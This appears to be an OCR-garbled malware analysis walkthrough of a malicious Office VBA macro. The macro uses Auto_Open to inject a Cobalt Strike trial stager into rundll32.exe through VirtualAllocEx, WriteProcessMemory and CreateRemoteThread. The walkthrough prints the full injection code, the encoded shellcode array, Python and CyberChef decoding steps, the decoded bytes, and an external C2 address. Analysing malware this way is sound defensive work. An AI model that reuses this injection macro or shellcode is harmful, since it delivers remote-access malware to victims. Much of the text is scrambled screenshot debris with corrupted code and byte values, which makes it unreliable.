ximodule . CodepModule . AddFromString Private Type PROCESS_INFORMATION

hProcesa Aa Leng Replace: o
hThread &s Lomng Fed  Replace Fiedia Files Find in Propects Mack
duProceasld As Long
dwThreadId As LongEnd Type Bndwhee s -

7 Private Type STARTUPINFO Tt wah: b
b Az Long S

3 lpReserved As String S ——

1 1pDesktop Rs Stril ackn

11 lpTitle As String dwX A= Long .

12 dwW¥ As Long L) Match nhole w

1 auxsize As Long . Cwatch gue =i

14 dw¥Size As Long Removing unneeded quotes e arcueed

15 dwXCountChars A= Long

16 duiCountchars hs Lo ok

17 dwFillAttribute Long O tiormal

18 dwFlags As Long ) Extended D, V. 100, V)

19 wihowindow As Integer (@) Regubar esprossion ||, matchas newing. ]

20 chReserved? A
1pReserved? A
hStdInput A

Peplace All: 7061 occumences wers roplaced in entire file

BStdoutput As Long
RStdError As Long
£nd Type

en ivate Dec PtrSafe Funct ateStuff Lib v (B . Byval 1p Byval
te Declare Pt tion AllocStuff Lib kernel3? Ali vnwalanocsx |R5V'\l hProceas As L 1madg As Long, Byval :sw- Az Long, Byval flAllecationType As
Private Declare PtrSafe Functiom WriteStuff Lib kernel32 Alias WriteProcessMemory (ByVal hProcess As Long, ByVal 1Dest As LongPtr, ByRef Source As Rny, ByVal Lemgth As Long, ByVal

adAt

3 Private Declare PtrSafe Function RunStuff Lib kernel32 Alias CreateProcessh (Byval lpApplicationName Az String, Byval ire Ao string, 1p tributes As Any, lpThread
31 #ELTe
3z Private Declare Function CreateStuff Lib kernel32 Rlias CreateRemoteThread (Byval hProcess As Long, Byval lpThreadAttributes As Long, Byval dwStackSize Rs Long, Byval lpstartAddre:

3 Private Declare Function AllocStuff Lib kernel3Z Alias VirtualAllocEx {ByVal hProcess As Long, ByVal lpAddr As Lomg, Byval 18 s Long, ByVal flAllocationType As Long, ByVal f1Pi
34 Private Declare Function RunStuff Lib kernel32 Alias CreateProcessh (Byval lpApplicationName As String, ByVal ipCommandLine Rz String, lpProcessAttributes Rs Any, lpThreadhttribute
38 #End If

Bsub Aute_Open(}

3 Din myByte As Long, myArray As Vananc, offset As Long
3 Din pInfo As PROCESS_INFORMATIO

Din sInfo As STARTUPTHFO

Din sMull As String

Din sProc Az String

Analysing the Cleaned up Script

With the majority of junk now removed, we can go ahead and view the now decoded script.

One of the first things we can notice is that there are lots of references to api's commonly used in process injection

(Virtual AllocEx, WriteProcessMemory, CreateProcessA etc).

[P —
1 dwitountChars As Long
16 dwYCountChars As Long
17 dwFillAttribute As Leng
duFlags As Long
wihowWindow As Integer
cbfeserved? s Integer
IpReasivedz As s Something is being injected?
hStdinput As Lom
hatdoutput As .m'r
hstdError As Long
End Type

Memory Allocation API's. Commonly used in process injection.

ion Crea uff LfE

TTT RITas 1 . rocess A Byval lpThreadAtts ng, = L

Private beclare Ptrfafe Function AllocStuff Lib kernel32 Al irtualRllockx (ByVal|hProce Long, ByVal lphddr As Long, ByVal 18ize hs Long, ByVal f1AllocationType Aa Long,

Private Declare Ptr3afe Function WriteStuff Lib kerneli2 Al TiteProcessMemory (EfVal hProcess As Long, ByVal LDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByV:

30 Erivate Declare Ptrdafe Function RunStuff Lib kernel3Z Aliap CreateProceasA (ByVal 1pApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThre:
o

S#LE VB Private Declar

Private Declare Function CreateStuff Lib kernel32 Alghs CreateRemoteThread fByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStarthdd

33 Private Declare Function AllocStuff Lib kernel32 A VirtualAllocEx (ByVsl hProcess As Long, ByVal lpAddr As Long, ByVal 15ize As Long, ByVal flAllocationType As Long, ByVal f1
34 Private Declare Function RunStuff Lib kernel2 Ali ateProcessh (ByVal lphpplicationName As ng, Byval lptommandLine As String, lpProcessAttributes As Any, lpThreadAttriby
#End If

36

37 |Ssub Auto_open ()

Dim SyByte As Leng, myArray As Variant, offset As Long
Dim pInfo A= PROCESS INFORMATION

Dim sinfo T
bim :

Dim

#If VBAT Thes
45 Dim rwxpage As LongPtr, res As LongPrr

Scrolling down slightly, we can also see a blob of hex bytes and a process name, likely used as the target for

process injection.

(eg, this blob of bytes is going to be injected into rundll32.exe)
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Dim sProc As String

wArray = Array(-d,-24,-119,0,0,0,96, -11%,-27,49, -46, 100, -117, 82, 48,-117,82,12,-117, 82, 20, -117, 114, 40, 15, 73,74, 38, 49, -1, 4%, -€4, -84, 60, 97,124, 2, 44, 32,- 63, -40,
§2,87,-117,82,16,-117,66,60,1 -117,64,120,-123,-64,116,74,1,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _

49,-64,-84,463,49,13,1,-57,56,-32, 117, -12,3,125, -8, 59,125, 36,117, -30, 88, 117,89, 36,145,102, =117, 12,75, -117, 98,29, 1 ,~45,-117 4,
6, -119,68,36,36,91, 51, 97,89,90, 81 ,-1,-32,88, 95,90, -117,19,-21,-122,53,104,110,101,,11,0, 104,119,105, 110,105, 34,104, 76,119, 38,7, 51, ~
1,87,87,87,87, 58,86,121,=89,=1,=43,=2 £0,0,91, 55,61,81,106,3,61,81,104,91,=22,0,0,83,60,104 87, =119, =57, _
3,-21,112,9 .45,=46,82,104,0,2, 64, =124, 82,82,87,83, 92, B0, 104,21, 85, 46, 59, =143, =118, 58,125 61,80, 49, -1,87, 87,105,163, 86, _

3,-123, 64,15, -124,-61,1,0,0,4%,-3,-123,-10, 116, 4,-115 21,9,104,-86,-59,-30,93,-1,-43,-119,-63,104,69,33,94,49,-1, _

=117,=1,

l.'I,lUB,T,Bl,IE.EI],W‘,-?}.E zz,u,-],-u 65 0,47,0,0,57,=57,116,=73,49,=1,=23,=111,1,0,0,=23,=55,1,0,0

s -1,-1,47,71,100,97,80,0,83,78,33,80,37, 2,80,90,88,53,52, 40,80, 94,41, 55,67, 67,41 55,125, 36,69, 73,67, 65,92, _

57 45,83,84,65,78,68,65,82,69,45,65,78, 6 13 56 '-‘3 32 35 EJ 45 84,65,83,84,45,70,73,76,69,33,36,72,43,72,42,0, SJ 78,33, SD

58 37,-1,&5,115,1:11 114,45,65,103,101,110, lJ& %8,32,77,111,122,105,108,108,97,47 52, 46,48, 32,40,95,111,109,112,97,116,105,98 . JDE 101,59,32,77,
5o | e3;73,68,32,5¢, 46, 48,55, 32,07,108,110,100,111,118,115, 32,78, 84, 32,53, 46, 49,85, 32 84, 114,105,100, 101,110, 116,47, 52, 46,48, 59,32, 71 | 84,

60 | ee.55,46,52,55,32, 46,78, 89, 84,52, 46, 48, 67,41,13,10,0,53, 79, 33,80, 57, 64,65, 80, 51, 52,52, 80 , 90, 88,53, 5, 40, 80, 34, 41, 55, €7,

&1 €7,41,55,125 ,36,69,73,67 65, Ei 3, E‘ 65,749, 68,65, 82, 69 45,65, 78, ﬂd £73,86,73, 12 BS, 0 45, ﬂ( 69,83, 8. 45 70, 12 76,69, JJ_

62 | 3672,43)72,42,0,53,75,33,80,37, 64,65, 80,51, 52, 52, 80,90, 88, 53,52 , 49, 40,84, 41, 55, i?".‘ 11551253553 1351 é5,82,45,83,

63 84,65,78,68,65,82 68,45 ,65,78,84,73 86,73 ,82,85,83, 45,84, 69,83, 84,45,70 73,75
&4 8s,71,82,95,83, 45,84, 69,83,84,45, 70,71, 76, & 143,72,42,0,53,78,33,0, - u ,104,0,18,0,,
65 104,0,0,64,0,87,104,88,-52,83,-27,-1,-43, 109,-71,0,0,0,0,1,-39, 81,83 119.—25,11.101 o,sz,n v83,06,104,18, 108, -113, 30, -
66 B il 1 Gs AT T L R 123 ofg 01T o2] RACE] 28 CRT o o o1 55 46 57 SA 46 53 49 46,57 S5.0.0.0.0.0)
6 It Le)\lSnV&:en(?:oqrMili?)) >0 Then

6 || sProc = Envi W \rund1132.exe
69 =] Else
70 sProc = Environ(windir) ‘\\System32\\rundl132.eze

37,64, _¥5,80,51,52,92,80,50,88,53,52,40,80,94,41,55,67,67,41,55,125 46,1

1 End It res m RunStuff({sNull, sProc, ByVal 0, ByVal 0, ByWal 1, ByVal 4, ByVal 0, sNull, sInfo, pInfo)

9 .
73 rwxpage = Alloc3tuff{pInfo.hProcess, 0, UBound(myArray), H1000, H40) Blob of hex bytes' IIKEiy shellcode
74 |51 For offser = LBound(myArray) To UBound (myArray

% myByte = myArray{offaet)

76 res = WriteStuff{pIinfo.hProceas, rwxpage + offaet, myBybe, 1, ByVal 0}

T Next offset

T8 zes = CreateStuff (pinfo.hProcess, 0, 0, rwxpage, 0, 0, 0)

T8 End Sub

80 |Esub Autoopen{)

81 Auto_open B o

B2 End Sub Rundll32 exe, likely an injection target.

83 Sub Workbook _Open() Ruto_Open

B4 End Sub

B5

b

At this point, we can probably assume that the bytes are shellcode. This is primarily due to the short length. Which
is too short to be a standard pe/exe/dll file.

Before going forward, we can first remove the final remaining underscores.

5ub Auto_Open{)
Dim myByte As Long, myArray As Variant, offset As Long
bim pIafe As PROCESS_INFORMATION
pim sinfo As STARTUPINFO
Dim aNull As String Find | Repiacn Findin Fbes. Fidlin Projects Mark
Dim sProc As String

Bndwhat:[ ]
7 Then
Dim rwxpage As LongPtr, Tes As Long ST
Else
Dim rwxpage As Long, res As Long
d 1f Baciwand aremion
nyArray = Array(d,-24,-119,0,0,0,36, L il Decuments 174,38,49, 1,49, =64 1-84,60,97,124,2, 44,32, =63, =49,
13,1,-57,-30,-16,02,07,-117,82,16,-337.4 (0 o 5,-29,60,73,-M7,52,-117,1, _
= e {12,75,-117,88, 28,1 #45,-117,4, _
[l wound |110,105,84,104,76 ,815,38,7,-1,

48
-43,49,-1,87,67,87,87,87,104,58,86,121,1 cowchiode
-58,-1,-43,-21,112,91,49,-46,02,108,0,2)
104,45,6,24,123,-1,-43,-123,-64,15,-124 = 13,-119,-63,104,69,33,94,49,-1,
—43,49,-1,87,106,7,81,86,80,104,-73,97,] (JEdmdedla 010 ) §,1,0,0,-24,-117, -
-1,-1,47,71,100,57,80,0,53,79,33,80,37,4 ©Awpteegresen [, mohes newting Al73,67,65,82,
45,83, 84, 65,78, 68, 65,82, 68,45, 65,78, 84, 1,79,33,80, _
37,0,85,115,101,114, 45, 65,103, 101,110, 1 +41,110,105,56,108, 101 SEILTT,
83,73,69,32,56,46,48,59,32,87,105,110, lol) 1.1.1 .1.19 115 J.? 7! Uﬂ a3z, 53 D SD 31 E‘ llﬂ 1“5 10" llu. JJ.D 116 46, +59,32,71,84,

66,55, 46,52, 55,32, 46,78, 69, 84, 52,46, 48,67, 41,13,10,0,53, 78, 33,80, 37, 64,65, 80, 92, 52, 52, 80,50, 88,53, 53, 40,80, 54, 41 55,67,

67,41,85,125, 35, 69,73, 67, 65,82, 45, 63,84, 65,76, 60, €5, 62, 69,45, 65,78, 84,73, 86, 13,82, 85,83, 45,84, 65,83, 94,45, 70,73, 76, 69,33,

36,72,43,72,42,0,53,79,33,80,37,64,65,80, 91,52,92,80,90, 88, 53,52, 40,80, 94,41, 55, 67, 67,41,55,125,36,69,73, 67, 65,62, 45,63,

84,65,78, 68, 65,82, 68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76, 69,33, 36,72, 43,72 42,0, 53,79,33,80,37,64, €5,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125, 36,
06,73,02,85,83,45,04,69,03,04,45,70,73,76, 69,33, 36,72,43,72,42,0,53,79,33,0,104, -16,-75,-94, 86, -1, 43,106, 64,104,0,16,0,0,
104,0,0,64,0,87,104,08,-52,83,-27,-1,-43,-109,=71,0,0,0,0,1,-39,81,83,-119,=-25,87,104,0,32,0,0,83,86,104,18, =106, =119,=30,
,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24, +-1,-1,52,55,46,57,56,46,53,49, 46,52, 55,0,0,0,0,0)

§3,80,104,87,-119, =47, _
#0,49,-1,87,87,106,01,63,86, _

=43,

If Len{Environ(ProgramW&4i2)) > 0 Then
;[ aProc = Environ(windir) \\SysWOWEd\\rundll3Z.exe
Else
aProc = Environ(windir) \\System3Z\\rumndll3Z.exe
End If  res = RunStuff{sNull, sProc, ByVal 0, ByVal 0, Byval 1, ByVal 4, Byval 0, snd| There are still some underscores remaining. These can be removed
before analysing the hex blob.
rwxpage = Allocstuffipinfo.hProcess, 0, UBound(myArray), H1000, H4D)

E For offset = LBound (myArray) To UBound(myRrray)
[ myayr_e = myhrrayloffset)

Wi EAGEEE InTafa hDracass  suvasss & AFfeat  meDuta 1 Dutfal B

Once removed, the blob of hex bytes should look something like this. The blob is far too short to be a full pe file,
but plenty of space to include shellcode.

Sub AutcOpend)
Dim myBiyte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESSINFORMATION
Dim 3info As STARTUPINFO
Dim aMull As String
Dim sProc As String

Ei81f VBAT Then
Dim rwspage Rs LongPtr, Tes As LongPtr
F#EL3e
Dim rwxpage As Long, res As Long

¥ERd 1

myArray = Arzay(-4,-24, -n’ 0,0,0, is -:us -27,49,-46,100,-117,82,46,-117,82,12,-117,62,20,-117,114, 40,15, -3, 74,38, 49, -1, 49, -64,-84, 60,597,124, 2,44, 32, -63, -49,

13,1,57,=30,-16,82,87 0,1,-48,=117,64,120,-123,-64,116, 74,1, -48,80,-117,72,24,-117,88, 3 Ty :;

-42,49,-1,49,-64,-84 ss.-w 13,1, sv 55,—32 117,-12,3,125,-8,59,128,36,117,-30, 88, 117,99, 36, 1,-45,102,-117,12,75,,-117,88,28,1,-45 -1

=117,1,-48,-119, 66, 36,36,91,91,97,89,50,81,-1,-32,88,5,50,-117,18, =21, =122, 53,104, 110,101,116,0,104,129,105,110,105, 84,104, 76,115,348, 7,=1,
9, -1,87,87,87,87,67,104,58,86,121 1,=43,-23,124,0,0,0,51,49,=55,81,81,106,3,81,81,104,91,-22,0,0,83,80, 104,87, =119, =97,
-21,112,91,49,-46,82,104,0,2,64,-124,02,82, 92,83, 82, 80,104, -21, 95, 46,58, -1, -43, -119,-58,-125,-61, 80,49, -1,87,87,106,-1,83, 86
104,45,6,24,123,=1,=43,=123,=64,15,=124,-61,1,0,0,49,=1,=123,=10,116,4,=11%,=7,=21,9,104,~86,=55,=30,93,=1,=43,=11%,=63,104,6%,33, 94,4
9,=1,87,106,7,81,86,80,104,=73,87,=32,11, =65,0,47,0,0,57,=57,116 ,49,=1,=23,=111,1,0,0,=23,=55,1,0,0,=24,=117,=1,
T30%3,47,92,300,57,80,0,53,79,33,00,37, 64, 65, 80,9115, 92,80, 90, 80 53,52, 40, 80, 34 41,55, 67, £, 41,55, 125,36, 69, 73,67 65,02
45,83,84,65,78,68,65,82,68,45,65,74,84,73,86,73,82,85,83,45,84,69,63,84,45,70,73,76,6%,33,36,72,43,72,42,0,53,79,33,80,
37,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111, 122,105,108, 108,57, 47, 52,46, 48, 32, 40,599,111, 109, 112,97, 116, 105, 98,108,101, 55,32,77,
83,73,69,32,56,46,48,59,32,67,105,110,100,111,115, 115, 32,79, 04,32, 53,46, 49,59, 32,64,114,105,100,101,110,116,47,52, 46, 49,59,32, 71,84,
6,55,46,52,59,32, 46, 78,69, 64, 52,46, 48 ,67,41,13,10,0,53,79, 33,80,37,64, 65,80, 51,52, 92, 60, 50,88, 53,52, 40,60, 94,41, 55,67,
£7,41,55,125,36, 69,73, 67, 65,82, 45,83, 84, 65, 78, 68, 65,62, 66, 45, 65,79, 84,73,85,73, 82,85, 83,45, 64, 69,83, 84,45, 70,73, 76,69, 33,
36,72,43,72,42,0,53,75,33, 80,37, 64, 65,80, 51,52, 52, 80,90, 68,53, 52,40,00,54, 41, 55, 67,67, 41, 55,125, 36, 69, 73, 67, 65,62, 45,83,
a4,65,78,68,65,82,68,45,65,78,44,73,86, 73, 82,85,83,45, 84, 69,63 ,84,45, 70,73, 76, 69,33, 36,72,43,72,42,0,53,79,33,80, 37,64, 65,80,51,52,92,60,50,88,53,52,,40,80,94,41,55,67,67,41,55,125, 36, 63
9€,73,82,85,83,45,84, 65,83, 84, 45,70, 73,76, 69, 33,36, 72, 43,72,42,0,53,79,33,0,104, -16,-75 54,86, -1, -43, 106 , 64,104, 0,16, 0,0,
4,0,87,104,08,-92,63,-27, -1,-43,-109,-71,0,0,0,0,1,-39,91,83,-119,-25,87,104,0,32,0,0,83, 86,104,168, -106, 119, -30, -1, -43,
116,=58,=117,7,1,=61,=123, =64, L\T =27,88,=61,=24,=87,=3,=1,=1,52,55,46,57,56,46,53,49,46,52,55,0,0,0,0,0)
1t Len(Environ (Programié432)) > 0 The

SPiot = EnViEoR(riAdi)  \\SySHOREAVEURALL32, exe

Else

Now there is one trick here that slightly complicates things.
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Fixing Negative Decimal Values Used to Represent Shellcode

That is, there are negative values present in the shellcode that will need to be fixed.

I am not 100% sure how negative values work in visual basic/.vbs. But in this case, it seems that the value of -4
corresponds to 256 - 4 whichis 252 , whichis @xfc , which is a common byte (cld flag) seen at the

beginning of Shellcode.
Before analysing the possible shellcode, we will need to take all negative values and subtract them from 256 .
This can be done in CyberChef or Python, using either of the following examples.

CyberChef - This can be done by using a SubSection to extract negative values, subtracting them from the value

256. From here, all values can be decimal decoded.

LAST DU / MONTS QG - VEFSI0N 10 15 NEFE: 105 BDOUT The Hew TENUTES nere UpCNS I ABOUT SUPPOTT A
P
Recipe Bm i e +DOD=3im
4,-24,-119,0,0,0,96,-119,-27,49, -46,109,-117,82,48,-117,82,12, -117,82,20,-117,114,40,15,-73, 74, 38,49, -1 49, -
Subsection o 54,84, 60, 2,44,32, 63,49, 13,1,-57, 30, -16,82,87, 117,82, 16,-117,66,60,1, -48, - 117,64, 129, 123, -64,116, 74, 1, -48,50, 117,72, 14,
‘Section reom 117,88,32, 2 -19,60,73,-117,52,-117.1, -42,49,-1,49,-64, -84, -63,-49,13,1, -57,56,-32,117, -12, 3,125, -8,59,125, 36,117, - 30, 88,
~\de ncasesensnivemal(hing -G\ohalmalzling 117,88,36, 12,75,-117,88,28,1, -45,-117,4, - -48,-119,68, 36, 36,91,01,07, -

124,0,6,9,91,49, 1,106, 3,8
O ignore errors 124,82,82,82,83,82,89,104, - 21,8
124,-61,1,0,0,49, 23,-18,116, "
1,67,106,7, 1,86, 80,184, - 73, 87, - 32,11 (49, 01,033,+111,1,0,0, 23, -55,1,8,0, - 14, - 117, -1,
Find / Replace @n 1,-1,47,71,100,97,80,0,53,79, 33,80, 37,64, 65, 80,91,52,92,80,90,88,53, 52,40, 80,94, 81,55 67,67, 41, 55,125, 36,69, 73,67,65,82,
45,83 ,84,65,78,68,65,82,68,45,65, 78,84, 73,86, 73,82, 85,83 ,45, 84,69,83,84,45, 79,73, 76,69,33, 36, 72,43,72,42,0,53,79,33,80,
Saciace 37,0,85,115,101, 114, 45,65,103, 181,118,116, 58, 32, 77,111,122, 185,108, 108,97, 47, 52, 46,48, 32,46, 99, 111, 169,112,97, 116, 185,98, 106, 181,59, 32
KT 256 31 B Global mateh 77,
83,73,69,32,56,46,48,59,32,87,10%,110,100, 111,119, 115,32, 78, 84, 32,53,46,49,59, 32,84, 114,105, 100, 101,110, 116,47, 52,46, 48,59, 32, 71,84,
66,55,46,52,59, 32,46, 78, 69,84, 52,46,48,67,41,13,10,0,53,79, 33, 89, 37,64,65, 80,91, 52,92, 80,99, 88,53, 52,49, B9, 94, 41, 55,67,
0 case insensitive B Maultiline matching O pot matches all 67,41,55,125,36,69,73,67,65, 52,45,83,84,65, 78,68, 65,82,68,45,65, 78,84,73,86,73,02,65,83,45, 84,69, 83,84,45,79,73,76,69,33,
36,72,43,72,42,0,53,79,33,89, 37, 64,65, 89,91, 52,02, 80,50,88, 53, 52,40, 80,94, 41, 55,67, 67,41,55, 125, 36,60, 73,67, 65, B2, 45,83,
84,65,78,68,65,82,68,45,65, 78,84, 73,86,73, 82,85, 83,45, 84,69, 83, 88,85, 70,73, 76,60, 33, 36,72,43,72,82,0,53,79, 33,80, 37,64,
65,80,91,52,92,30,99,88,53,52,40, 80,94,41, 55, 67,67, 41,55, 125, 36,69, 73,67,65, 82,45, 83,84, 65, 78, 68, 65, 82,68,45, 65, 78,64, 73,
86,73,82,85,81,45,84,69,83, 84,45, 70,73, 76,69, 13, 36,72,43,72,42,0, 53,79, 33,0, 184, -16, 75, -04, 86, -1, -43,106, 64, 104, 0, 16,0,0,
104,0,0,64,8,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1, - 39, 81,83, -119, - 25,87, 104,0, 32, 8,0, 83, 86,184, 18, - 106, -119,-30, -1, -43, v

SOy ®

@

Subtract
Space - T e 4o

Merge & o Outpur Bap0Dm:a

et ke R SSTIETE T b

. AT ADaf ekt DR aAX e Ank Kexubne e
18 Merge Al DS [aV20574K_2."E Thnct* heri ni ThL w501 7wk -y § F00*00h [ £ 5SPhe o £FIED [ 10RRN" 8 RRASAPREL. ;70 ke APLTMIFSVh- A (7 A RNNA G
e WOAR]HIANE QP WA G LS AROCE 1 BN 7/ G0 501 PRBAP| A\PZX54(P4) 7C )7} $ETCAR -STANDARD- ANTIVIRS - TEST
Mozilla/a.0 (compatible; NSIE 8.8; Windows WT 5.1; Trident/4.8; GIB7.4; .NET4.BC)%
From Decimal © 11 SSOIFEMP[4\PDISA(PYICC) T SELCAR- STANDARD - ANTIVIRLIS- TEST- FILE L §HeH" 501 PRBAR 4\PESA (F*) T0C) T} SETCAR - STANDAAD - ANTIVIRUS - TEST-FILE| $hhoH*
SSOIPREAP[4\PIASA{PAYPCE) T SELCAR- STANDARD - ANT IVIRUS - TEST-FILED$HH" S0 1 hdpf VTR S S B MO S A e 1 WIS g™ WhSVhY e B0 ALES 4N
RushAiDyyAT, 58, 51 AT

Comma [ support signed values

CyberChef - Using subsections to fix negative decimal values used to obfuscate
shellcode

Python - Similar to cyberchef, the array of decimal values can be iterated through, subtracting negative values

from the number 256.

In the output, we can see cleartext strings as well as the initial Shellcode byte of @xfc .

| [& decode.py - C\Users\Lenny\Desktop\matware\cobalt_ vbs\test2\decodepy (3... — o X | @ eyt 79 5t W
File Edit Format Run Options Window Help File Edit Shell Debug Options Window Help

X00\X00\%00") 2
3>

encoded = [-4,-24,-11%,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82 RESTART: C:\Users\Lenny\Desktop\malware\cobalt_vbs\test2\decode.py
decoded = [0] * len(encoded) bytearray (b'\xfc\xe8\x89\x00\x00\x00 " \x89\ xe51\xd2d\ xBbRO\xBbR\ x0c\x8bR\x14\x8br
o0\ xb7I8QN e f £1\xc0\xacca |\x02, \xcl\xcf\r\x01\xcTi\xe2\xfORN\x8bR\x10%\xBbB\x0

i range (0, len (encoded) ) : 14 xd0 %8S\ xE5\xc0t I\ 014 xdOP\xBbH\x181x8bX \x01\xd3\xe3<I\x8bd\xB8b\x01\xd61\xf
El\xcOacixel \xeEA D\ k0 1\ xe T8\ xe QUAXE4 X031\ XEB 1 } 50l xe2X\xBbXS \ n0 1\ xd3 £\ xBb\ROCK

encoded[i] < 0: \xEEEAR 10\ 101\ xd3\x8b\ 204\ %8\ 201\ xd0\ 890§ [ [aY2Q\xf Fixe0X_Z\xBb\x12\xeb\x86]hn
decoded(i] = 256 - abs(encoded(i]) et R00hwini ThLwa\ROTAKE £\ xdS 1\ f EWWWHIWh : VA xa T\ x££\ xd5\xe 9\ R84\ K00\X00\ %00 [1\xcP

: 3\x03QQh [\xea\x00\x00SPhW\ 289\ X8 £\ ke \ ¥ I £\ %d5\, rebp [ 1\xd2Rh\ %00, 1028\ %3 4RRRSRPh
decoded(i] = encoded[i] \xebU. : \xffA\xd5\x89\xc6\xB3\xcIP1\x f fWWj \xf £SVh=-\x06N\x18 {\xff\xd5\xB5\xcO0\x0 £\ xB
AxcI\R01\ K00 X001\ . F E\xBE\REEY X041 BT\ xF T\ xebl thixaa\xcS\ne2 ] \xE£Axd5\ xB S\ xclh
E! A INxE£\xd51\x££W] \x07QVPh\xbTW\xe0\x0b\xf f\xd5\xb£\x00/\x00\x005\xcTt \xbT1\x £
print(bytearray (decoded)) \xe9\x91\x01\x00 %00\ xe 9\ xcI\x01\x00\x 00\ xe B\ xBb\x £ E\xfE\x £ £/GdaP\x0050 ! PY@AP [ 4\
WPEXS4 (P") 7CC) 7} SEICAR-STANDARD-ANT IVIRUS-TEST-F. H+H*\%0050! P¥\x00User-Agent

: Mozilla/4.0 (compatible; MSIE 8.0 Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.
0C)Ar\n\x0050! P¥@AP [4\\PZX54 (P~) TCC) T) CAR-STANDARD-ANTIVIRUS-TEST-FILE!SH+H*\
x0050! PREAP [4\\PZX54 (F*) TCC) T) SEICAR- DARD-ANT IVIRUS- T-FILE!SH+H*\x0050!P%

. R BAP[4\\PZXS54 (P*) 7CC) 7}SEICAR-STANDARD-ANTIVIRUS-TEST-FILE ! $H+H*\x0050! \x00h\ x£0\
Decoding shellcode with python. #b5\Ka 2V E £1 2459 @R \%00 %1 002004 %00k %00\ 2008\ x00WhK xa 45\ e 5\ kE £125\ 293\ b A\ %0
0A\x004\x00\x00\x01 \xdIQS\ X8\ xe TWh\ 200 \x00\x005Vh\x12\x96\x89\xe2\xff\xd5\x85\xc

0t \xc8\xB8bA\ x0Ty x0 1\ xe3\ k85 \ xelul xe SX\xe3\ xeB\ xa M xfd\ x££\ f£47. 98,51 . 4T\ =00\ 200y,
X00\x00\x00 "}

20> w

In' 5 ol 0 Ln: 9 Col:4

Both outputs also reference a possible C2 address of 47.98.51[.]147 .
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Output a |_|:| m o

GEe' +410deROeRY oRer (- J&1F1A-<a |, AL%“CaORWeR%eB< Do@xsAtIDPeH X “W0a<Tede 0151A-AT 4 W(BAUG )8 ; AKX 0T o K aX W00 asDe

D4 [ [aYZQiaX_Ze"Ee Jhnet hwini ThLuw&* 01 iibh : Vy §i0é « %% [ 1EQQ%QQh [ £%SPhlls « £50&p[ 10Rh% @« RRRSRPhEU. ; YO« As APTHINW i SVh- " fOeAn e A 10
Bt eiid  h2Aa]§0eAhE A 1H01FWI " QVPh - Wa" 4% /4NICt - 156« WU NEE WM " o V¥ /GdaP™ 50 | PR@AP [ 4\PZX54 (P~) 7CC) 7 }$EICAR-STANDARD-ANTIVIRUS- TEST -
FILE!$H+H* 50| PX¥%User-Agent: Mozilla/4.9 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.8C)%
"50'PX@AP[d\PZX54(P")7CCJ7}$EICJ\H STANDARD-ANTIVIRUS-TEST-FILE! $H+H*“ 50! PX@AP[4\PZX54(P~)7CC)7}$EICAR-STANDARD -ANTIVIRUS-TEST-FILE! $H+H*

50| PX@APj ; CAR-STANDARD-ANTIVIRUS-TEST-FILE | $H+H* %501 %hdpdVi0jBh s uh @ WhXHS 450s 1 sD0S e cWh™ %4SVh'e e 35700 At £« NA
«AudXAeeyfia7.98.51.47 % N

Possible C2 Address

In addition, both outputs reference an EICAR string. (This is a string that will automatically trigger all antiviruses)

mc 2587 = 1 Tr Raw Bytes € L-

Output R0Om::

e +310deR@e R oR%er (% - J&1F1A-ca |, AT4%CAORWeRY sB DefxsAtINDPsH X W0ACTeden01F1A-AT W CBAUG" ¢ ; JSuaXe XE NG o v Ka X 0u" e De

D$3[ [aYZQiaX_Z+%&s Jhnet hwini ThLw& FO15 W : Vy§30& % %% [ 1EQQ7 “Q0h[ &% %SPhids « £70&p[ 10Rh% @+ RRRSRPhEU. ; 0+ £+ AP1FWW §SVh- "5 {0 An s A 1iie
Bt'eié  haAa]§0«AhE | “15017W “QVPh -Wa " §0% /M NOCE - 1576« W\ WEE WY e o 5§77/ GdaP™ 501 PE@AP [ 4\PZX54 (P~ ) 7CC) 7} $EICAR - STANDARD -ANTIVIRUS - TEST -
FILE|$H+H*%50| P¥UUser- Aggmerroritirrafaro~{rompariblerM3Te=8"oWindows NT 5.1; Trident/4.8; GTB7.4; .NET4.0C)%

50! PE@AP[4\PZX54(P~)7CC |7 }$EICAR-STANDARD-ANTIVIRUS-TEST-FILE ! $H+H* 50! PH@AP [ 4\PZX54 (P~)7CC)7 }$EICAR-STANDARD-ANTIVIRUS-TEST-FILE! $HeH*
50! PE@AP[A\PZXS4(P~) 7CC }7 }$EICAR-STANDARD -ANT IVIRUS- TEST-FILE ! §H+H* %50 W hdpd V0 j@h W Wh s W@ WhXHSAF0s 1% W slQS s cWh™ % %SVh'se «aji0s At£e"nA
«AudXAR@yiA47 . 98.51. 474N

According to Mandiant and Fortra (authors of Cobalt Strike), this is an intentional string designed to prevent

abuse of the Trial Edition of Cobalt Strike.

Trial vs Licensed vs Cracked

Cobalt Strike is not legitimately freely available. Copies of the team server/client cannot be
downloaded as a trial or licensed copy from Help Systems—the company that owns Cobalt Strike
—unless the operator applies and has been approved. Unfortunately, trials and cracked copies
(including most, if not all, licensed features) have been and continue to be leaked and distributed
publicly for nearly all recent versions.

e Trial versions of Cobalt Strike are heavily signatured and include lots of obvious defaults
intended to be caught in a production environment. (For example, it embeds the EICAR
string in all payloads.) Thisis to ensure that the operator is really using it as a trial and will

eventually pay if using it for professional purposes.

What are the “tells”?

Cobalt Strike generates its executables and DLLs with the help of the Artifact Kit. The Artifact Kit is a
source code framework to generate executables and DLLs that smuggle payloads past some anti-
virus products. The Cobalt Strike 3.0 trial ships with the template Artifact Kit build. The template build
embeds Cobalt Strike's stager shellcode into executables and DLLs with no steps to disrupt an anti-
virus sandbox.

The Cobalt Strike trial loads and uses Malleable C2 profiles. This is a feature that allows users to
change the network indicators in the Beacon payload. Each HTTP GET transaction, from the trial,
includes an X-Malware header with the EICAR string as its content.

Shellcode Emulation With SpeakEasy.
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The short length and presence of the @xfc byte can give us strong confidence that the result is shellcode.
